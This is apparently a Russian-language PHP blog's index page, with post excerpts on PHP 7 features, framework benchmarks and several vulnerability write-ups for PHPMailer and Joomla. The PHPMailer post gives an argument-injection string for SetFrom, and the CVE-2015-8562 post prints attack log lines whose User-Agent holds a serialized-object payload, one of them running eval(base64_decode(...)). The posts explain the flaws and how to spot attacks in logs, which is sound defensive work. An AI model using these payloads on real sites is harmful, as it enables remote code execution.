=

1 Подарок на новый год! CVE-2016-10033 + CVE-2016-10045

К новому году опубликована уязвимость, позволяющая выполнить произвольный удаленный код на на любых php сайтах с формами обратной связи. Эксплуатируется вызов функции mail в популярных библиотеках PHPMailer, SwiftMailer.

Началось все с исправления уязвимости CVE-2016-10033 в PHPMailer 5.2.17: добавили экранирование переменной $sender функцией escapeshellarg() перед вызовом функции mail(). Однако, не учли что использование функции экранирования escapeshellarg() может конфликтовать с escapeshellcmd(), которая применяется для пятого параметра саймой функцией mail(). В результате мы получим неэкранированную последовательность, которая передается параметром к системному вызову mail, что ведет к возможности выполнения любой шелл команды.

Например:

$mail->SetFrom("\"Attacker\\' -Param2 -Param3\"@test.com", 'Client Name');

Добавлено : Пт Дек 30, 2016 13:15

Автор : surg30n

Просмотров : 40056

2 Эксплойт для Joomla 3.4.4 - 3.6.4 (CVE-2016-8869 and CVE-2016-8870)

Две уязвимости в джумле позволяют получить админский доступ и в свою очередь залить файл шелла через медиа менеджер.

1. В com_users:user.register не осуществляется должная валидация данных. Злоумышленник может зарегистрировать пользователя с правами админа. Важно чтобы на сайте была включена регистрация, иначе в joomla 3.6.3 (и возможно более ранних) созданный пользователь не сможет быть активирован.

2. Проблема с вайтлистом в медиа менеджере

Медиаменеджер в джумле имеет белый список загружаемых файлов (и их типов). По-умолчанию он не позволяет загружать файлы с расширением ".php, .phtml" или содержащие "<?php". Однако позволят загрузить файлы содержащие <?= с расширением .pht. Файлы .pht по-умолчанию включены на всех apache серверах с mod_php в ubuntu => могут быть загружены и запущены!

CVE-2016-8869 and CVE-2016-8870

Код эксплойта в продолжении

Добавлено : Чт Ноя 10, 2016 17:10

Автор : surg30n

Просмотров : 40138

3 PHP 7.1 - Что нового

Nullable types (типы допускающие возможность использования null)

Ранее в PHP 7.0 появилась возможность указать тип передаваемых/возвращаемых значений, однако строгая типизация недопускала использование null в качестве значения параметра, как это делается в других языках.

В 7.1 для указания допустимости null-значений перед типом параметра указывается "?"

function f01(int $i) {
  var_dump($a);
}
 
function f02(?int $i) : ?int {
  var_dump($a);
  return $a;
}
 
f01(10); // int(10)
f01(null); // TypeError: Argument 1 passed to f01() must be of the type integer, null given
f02(20); // int(10)
f02(null); // null

Добавлено : Вт Сен 27, 2016 16:24

Автор : surg30n

Просмотров : 38906

4 Долгая синхронизации FireFox, жор CPU+HDD

Пользую Firefox с первых версий. Браузер запускается с портативного usb диска.
С недавних пор появилась проблема - при синхронизации закладок фф стал отъедать 25%CPU (т.е. одно ядро моего i2500). При этом усиленными темпами пытался записать что-то на диск (30Мб/c). Процедура продолжалась порядка 15 минут, далее - ошибка синхронизации. Все повторялось с интервалом в 10 минут. На это время можно забыть про FF - его UI становился не юзабельным (тупо лагал).

Добавлено : Чт Янв 21, 2016 10:04

Автор : surg30n

Просмотров : 39385

5 Разбор уязвимости Joomla CVE-2015-8562

20151201 Core / Remote Code Execution Vulnerability

Позволяет злоумышленнику выполнить произвольный код. За последний месяц в джумле нашли две критические уязвимости. Последняя распространяется на все версии системы начиная с 1.5.0 и до 3.4.5. Кто-то мог эксплуатировать эту дыру около 8 лет, 8 лет Карл!.

Атакован ли ваш сайт?

Можно определить, посмотрев логи:


/var/log/httpd $ grep JDatabaseDriverMysqli *.log
 
access.log:71.19.248.201 - - [15/Dec/2015:17:03:05 +0300] "GET / HTTP/1.1" 301 239 "-" "}__test|O:21:\"JDatabaseDriverMysqli\":3:{s:2:\"fc\";O:17:\"JSimplepieFactory\":0:{}s:21:\"\\0\\0\\0disconnectHandlers\"; a:1:{i:0;a:2:{i:0;O:9:\"SimplePie\":5:{s:8:\"sanitize\";O:20:\"JDatabaseDriverMysql\":0:{}s:8:\"feed_url\";s:37:\"phpinfo();JFactory::getConfig();exit;\"; s:19:\"cache_name_function\";s:6:\"assert\";s:5:\"cache\";b:1;s:11:\"cache_class\";O:20:\"JDatabaseDriverMysql\":0:{}}i:1;s:4:\"init\";}}s:13:\"\\0\\0\\0connection\";b:1;}\xf0\x9d\x8c\x86"
access.log:89.234.157.254 - - [15/Dec/2015:08:23:06 +0300] "GET / HTTP/1.1" 200 16603 "-" "}__test|O:21:\"JDatabaseDriverMysqli\":3:{s:2:\"fc\";O:17:\"JSimplepieFactory\":0:{}s:21:\"\\0\\0\\0disconnectHandlers\"; a:1:{i:0;a:2:{i:0;O:9:\"SimplePie\":5:{s:8:\"sanitize\";O:20:\"JDatabaseDriverMysql\":0:{}s:8:\"feed_url\";s:60:\"eval(base64_decode($_POST[111]));JFactory::getConfig();exit;\"; s:19:\"cache_name_function\";s:6:\"assert\";s:5:\"cache\";b:1;s:11:\"cache_class\";O:20:\"JDatabaseDriverMysql\":0:{}}i:1;s:4:\"init\";}}s:13:\"\\0\\0\\0connection\";b:1;}\xf0\x9d\x8c\x86"


TL;DR
Уязвимость заключается в отсутствии должной фильтрации данных пользователя (заголовки user-agent и x-forwarded-for). Данные сохраняются в базу данных в сериализованном виде обработчиком сессий. Из-за бага обработки UTF8 строк Mysql, при сохранении данные обрезаются, позволяя внедрить произвольный объект (выполнить код) в массив $_SESSION при чтении данных сессии из бд.

Добавлено : Чт Дек 17, 2015 14:14

Автор : surg30n

Просмотров : 51692

6 Тестирование скорости популярных PHP фреймворков

Тестирование "Привет мира" на базе популярных PHP фреймворков.

Конфигурация системы CentOS 6.6 64bit (VM; VirtualBox)
PHP 5.5.30 (Remi RPM) Zend OPcache v7.0.4-dev с включенными phalcon.so и ice.so
Apache 2.2

Запускаются скрипты с настройками по умолчанию, без тюнинга.

Добавлено : Ср Дек 02, 2015 17:08

Автор : surg30n

Просмотров : 46057

7 PHP 7: миграция с PHP 5.X

Релиз PHP 7.0.0 состоялся 3.12.2015.

Основные моменты, из-за которых старый код не будет работать:

1. Унифицированный синтаксис

Выражение $foo->$bar['baz']() раньше означало $foo->{$bar['baz']}(), сейчас интерпретируется слева-направо: ($foo->$bar)['baz']()

2. Удаление устаревших расширений

mysql, ereg...

Добавлено : Пн Ноя 23, 2015 11:21

Автор : surg30n

Просмотров : 52469

8 PHP 7: Что нового. часть 2

Функции CSPRNG


Криптографически стойкий генератор псевдослучайных чисел (англ. Cryptographically secure pseudorandom number generator, CSPRNG)

Новведение добавляет две новых функции для генерации криптографически стойких целых чисел и строк.
Функции работают одинаково на всех платформах.

string random_bytes(int length);
int random_int(int min, int max);


Обе функции сгенерируют исключение `Error`, если источник необходимой случайности будет не найден.

Добавлено : Пт Ноя 20, 2015 22:23

Автор : surg30n

Просмотров : 49517

9 PHP7 - изменения в foreach

В PHP5 присутствует неоднозначность в работе foreach, которая возникает из-за манипуляции с внутренним указателем массива или модификации элементов массива, который перебирается в foreach.

Поведение foreach может зависить от ссылочного счетчика или типа итерируемого объекта - является он значением или ссылкой.

Вот несколько примеров foreach

1. Неработающий current()
2. unset() может исключить элемент из перебора, а может и нет

Добавлено : Пт Ноя 20, 2015 21:57

Автор : surg30n

Просмотров : 49825

10 PHP 7: Что нового. часть 1

Релиз PHP 7 запланирован на конец ноября 2015 года.
В новой версии PHP появились интересные синтаксические плюшки, новые функции
а также самые долгожданные изменения коснулись ядра интерпретатора - проект phpng, увеличивает скорость
обработки скриптов практически вдвое по сравнению с PHP 5.x, плюс более эффективный менеджер памяти.

Добавлено : Пт Ноя 20, 2015 11:50

Автор : surg30n

Просмотров : 71827

Поиск по сайту